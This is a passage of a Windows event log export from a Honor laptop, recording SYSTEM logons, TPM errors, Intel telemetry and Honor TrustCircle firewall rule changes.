ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.050\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:31:03.074\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:31:03.076\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:31:03.108\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.193\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.193\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.268\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.331\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.331\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.440\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.606\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.725\t1\tThe Windows Security Center Service has started.\tInformation\tApplication\tSecurityCenter\n05.09.2026 08:31:03.773\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.937\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:04.223\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:04.233\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"ControlCenterTrayUI\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:04.262\t1002\tError 0x80070005 occurred while verifying known folder {5e6c858f-0e22-4760-9afe-ea3317b67173} with path 'C:\\Users\\admin'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:31:05.752\t15\tUpdated Windows Defender status successfully to SECURITY_PRODUCT_STATE_ON.\tInformation\tApplication\tSecurityCenter\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.612\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{9BE5B4C9-88D0-43BB-BC6A-904308D6DF22}\n\tRule Name:\tHNMIRROR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.655\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{942D4F0B-D6EB-4B6A-BA8E-968479740A23}\n\tRule Name:\tHNMIRROR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.699\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{1B29CA73-70F2-4888-B1FF-5529A3CBA825}\n\tRule Name:\tHNMIRROR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.778\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{6BD78914-57CC-4AE2-8256-2A8241F304A3}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.825\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{395F0B8D-70D9-48F7-BF61-CA026A296CF8}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.880\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{7922CEA8-4B6E-498F-8FF3-C5C6D55A6412}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.927\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.927\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.929\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.929\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.949\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{25561356-BD40-494A-A14B-E9E40181373B}\n\tRule Name:\tHNVIRTUALPERIPHERAL\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.013\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{BCAC134D-07A7-4CF4-9104-663EF3AEC81C}\n\tRule Name:\tHNEXSCREEN\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.060\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{1C1019A7-5DDE-451F-A029-A50D19003CA7}\n\tRule Name:\tHNEXSCREEN\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.105\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{F0C0049F-D309-4878-AFE0-F72A7C7C7C9B}\n\tRule Name:\tHNEXSCREEN\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.282\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{0199F236-FADA-4802-BE23-FEAFB1D6B2C3}\n\tRule Name:\tHNMIRROR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.286\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{0199F236-FADA-4802-BE23-FEAFB1D6B2C3}\n\tRule Name:\tHNMIRROR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.288\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{68EE77E1-425B-4613-A88B-C905CB4913E5}\n\tRule Name:\tHNMIRROR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.290\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{68EE77E1-425B-4613-A88B-C905CB4913E5}\n\tRule Name:\tHNMIRROR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.296\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{B9FA39D4-DA07-49C3-9D05-81366D8565EB}\n\tRule Name:\tHNMIRROR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.300\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{B9FA39D4-DA07-49C3-9D05-81366D8565EB}\n\tRule Name:\tHNMIRROR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.445\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{1519AAE9-7ADA-467A-8630-79672866C5F8}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.448\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{1519AAE9-7ADA-467A-8630-79672866C5F8}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.452\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{D8EC5264-8722-4C51-B12B-32617B645411}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.454\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{D8EC5264-8722-4C51-B12B-32617B645411}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.461\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{5B70920B-660F-4DFE-B2A0-6341133B5D76}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.464\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{5B70920B-660F-4DFE-B2A0-6341133B5D76}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.525\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{03AA7394-D320-4E85-B2DC-8744EB6A680B}\n\tRule Name:\tHNVIRTUALPERIPHERAL\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnVirtualPeripheral.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.528\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{03AA7394-D320-4E85-B2DC-8744EB6A680B}\n\tRule Name:\tHNVIRTUALPERIPHERAL\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, 